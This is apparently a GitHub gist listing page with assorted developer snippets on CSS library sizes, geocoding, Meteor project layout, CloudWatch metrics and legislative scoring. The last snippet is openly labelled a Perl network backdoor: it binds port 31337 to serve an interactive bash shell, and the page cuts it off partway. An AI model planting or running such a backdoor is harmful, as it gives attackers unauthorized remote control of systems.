Skip to content

Instantly share code, notes, and snippets.

View paveljurca's full-sized avatar
🎯
Focusing

Pavel paveljurca

🎯
Focusing
View GitHub Profile

ApprovalVotingForPresident.com

What is Approval Voting?

This is how we do it now:

Plurality voting as Radio box example

This is how we could be doing it:

@primaryobjects
primaryobjects / css-comparison.csv
Last active April 11, 2025 19:11
A comparison of CSS library sizes.
Name Version Size (uncompressed) Size (minified) Size (gzipped) URL
Bootstrap v3.3.7 143 KB 117 KB 20 KB http://getbootstrap.com/css/
Bootstrap v4.0.0 187 KB 147 KB 20 KB https://v4-alpha.getbootstrap.com/
Materialize v3.0 114 KB 90 KB 18 KB http://materializecss.com/
Material Design Lite v1.3.0 350 KB 137 KB 21 KB https://getmdl.io/
mini.css v2.1 47 KB 36 KB 7 KB https://chalarangelo.github.io/mini.css/
Semantic UI v2.2.6 730 KB 550 KB 95 KB https://semantic-ui.com/
Foundation v3.0 90 KB 64 KB 12 KB http://foundation.zurb.com/
Pure CSS v0.6.2 80 KB 17 KB 3.8 KB https://purecss.io/
Picnic CSS v6.3.2 55 KB 38 KB 7 KB https://picnicss.com
@dsernst
dsernst / get-city-by-zip.js
Created April 11, 2017 12:51
Translate zip codes into city + state
function getCityByZip(zip) {
fetch(`https://maps.googleapis.com/maps/api/geocode/json?address=${zip}`)
.then(response => response.json())
.then(response => response.results[0].formatted_address)
.then(console.log)
}
@janikvonrotz
janikvonrotz / Meteor project structure.md
Created March 28, 2017 15:09
Meteor project structure #Markdown #Meteor

Meteor project structure

The Meteor project structure (MPS) is a proposal for a simple file and folder naming specification.

There are several basic distinctions when building a Meteor project structure. First there is a client, server and an imports folder. All folders have specific naming rules and differ in their structure.

Global restrictions are applied to all folders:

  • Non-npm-package-import sources are always index.js files.
  • Every first-level subfolder contains an index.js file.
@stephen-masters
stephen-masters / kie-workbench-rest-api-create-org.sh
Last active February 9, 2019 03:22
Example script to create an organisation, repository and project in KIE Workbench, via the REST API.
#!/bin/bash
# --------------------------------------------------------------------------------
#
# Script to demonstrate using the KIE (Drools) Workbench REST API to:
#
# create an organistion.
# create a repository associated with the organisation.
# create a project in the repository.
#

Goal: An algorithm to calculate an elected legislator's "Representation Score".

Legislative agenda

We have a set of legislative bills, uniquely identified with keys like "2016-11-01-160553" or "2017-03-07-170089", that are the agenda items of a jurisdiction's legislature.

The set grows by 40 bills per week on average. As of 2017-03-12, it has 602 elements.

Each bill has a 1-week window in which it can be voted upon by the citizens in the jurisdiction via the Liquid platform.

Voter registration

<?php
$browser->visit('Login')
->tap(
function (Browser $browser) {
$points = $browser->resolver->find("#TotalCount")->getText();
$this->mailer->send(
'mail',
['points' => $points],
function (Message $mailable) use ($browser, $points) {
$mailable->from('bot@pixelatedcrow.com', 'Pixelated Bot');
@ipmb
ipmb / cloudwatch_sysstats.py
Created March 3, 2017 03:59
Send system stats to AWS Cloudwatch with Python
# -*- coding: utf-8 -*-
import os
# pip install boto3 psutil requests
import boto3
import psutil
import requests
NAMESPACE = 'Sys'
os.environ.setdefault('AWS_DEFAULT_REGION', 'us-east-1')
@janikvonrotz
janikvonrotz / Convert-ImageToSVG.sh
Created February 17, 2017 08:05
Convert-ImageToSVG #ImageMagick
convert input.jpg output.ppm
potrace -s output.ppm -o svgout.svg
@koorchik
koorchik / backdoor.pl
Created February 5, 2017 23:14
Network backdoor written in Perl
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт